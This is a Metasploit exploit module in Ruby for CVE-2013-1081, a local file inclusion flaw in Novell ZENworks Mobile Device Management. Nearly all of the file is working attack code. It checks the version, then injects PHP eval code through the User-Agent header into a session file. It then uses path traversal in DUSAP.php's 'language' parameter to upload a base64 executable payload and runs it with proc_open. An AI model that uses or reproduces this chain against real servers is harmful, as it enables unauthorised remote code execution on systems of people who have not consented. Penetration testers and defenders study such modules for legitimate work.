Novell Zenworks Mobile Device Management Local File Inclusion

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'           => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability',
			'Description'    => %q{
				This module attempts to gain remote code execution on a server running
				Novell Zenworks Mobile Device Management.
			},
			'Author'         =>
				[
					'steponequit',
					'Andrea Micalizzi (aka rgod)' #zdi report
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Novell Zenworks Mobile Device Management on Windows', {} ],
				],
			'DefaultTarget'  => 0,
			'References'     =>
				[
					['CVE', '2013-1081'],
					['OSVDB', '91119'],
					['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
				],
			'DisclosureDate' => "Mar 13 2013",
			'License'        => MSF_LICENSE
		)

		register_options([
			OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
			OptInt.new('RPORT', [true, "Default remote port", 80])
		], self.class)

		register_advanced_options([
			OptBool.new('SSL', [true, "Negotiate SSL connection", false])
		], self.class)
	end

	def peer
		"#{rhost}:#{rport}"
	end

	def get_version
		version = nil

		res = send_request_raw({
			'method' => 'GET',
			'uri' => target_uri.path
		})

		if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
			version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
		end

		return version
	end

	def check
		v = get_version
		print_status("#{peer} - Detected version: #{v || 'Unknown'}")

		if v.nil?
			return Exploit::CheckCode::Unknown
		elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
			# Conditions based on OSVDB info
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def setup_session()
		sess = Rex::Text.rand_text_alpha(8)
		cmd = Rex::Text.rand_text_alpha(8)
		res = send_request_cgi({
			'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
			'method' => "HEAD",
			'uri' => normalize_uri("#{target_uri.path}/download.php"),
			'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
		})
		return sess,cmd
	end

	def upload_shell(session_id,cmd_var)
		fname   = Rex::Text.rand_text_alpha(8)
		payload = generate_payload_exe
		cmd     = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
		cmd    << "file_put_contents($wdir.'#{fname}.exe',"
		cmd    << "base64_decode(file_get_contents('php://input')));"

		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
			'data'     => Rex::Text.encode_base64(payload),
			'vars_get' => {
				'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
				cmd_var    => cmd
			}
		})
		return fname
	end

	def exec_shell(session_id,cmd_var,fname)
		cmd  = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
		cmd << "$cmd=$wdir.'#{fname}';"
		cmd << "$output=array();"
		cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
		cmd << "$pipes,null,null,array('bypass_shell'=>true));"
		cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"

		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
			'data'     => Rex::Text.encode_base64(payload),
			'vars_get' => {
				'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
				cmd_var    => cmd
			}
		})
	end


	def exploit()
		begin
			print_status("#{peer} - Checking application version...")
			v = get_version
			if v.nil?
				print_error("#{peer} - Unable to detect version, abort!")
				return
			end

			print_good("#{peer} - Found Version #{v}")
			print_status("#{peer} - Setting up poisoned session")
			session_id,cmd = setup_session()
			print_status("#{peer} - Uploading payload")
			fname = upload_shell(session_id,cmd)
			print_status("#{peer} - Executing payload")
			exec_shell(session_id,cmd,fname)

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE
		rescue ::OpenSSL::SSL::SSLError => e
			return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
		end
	end

end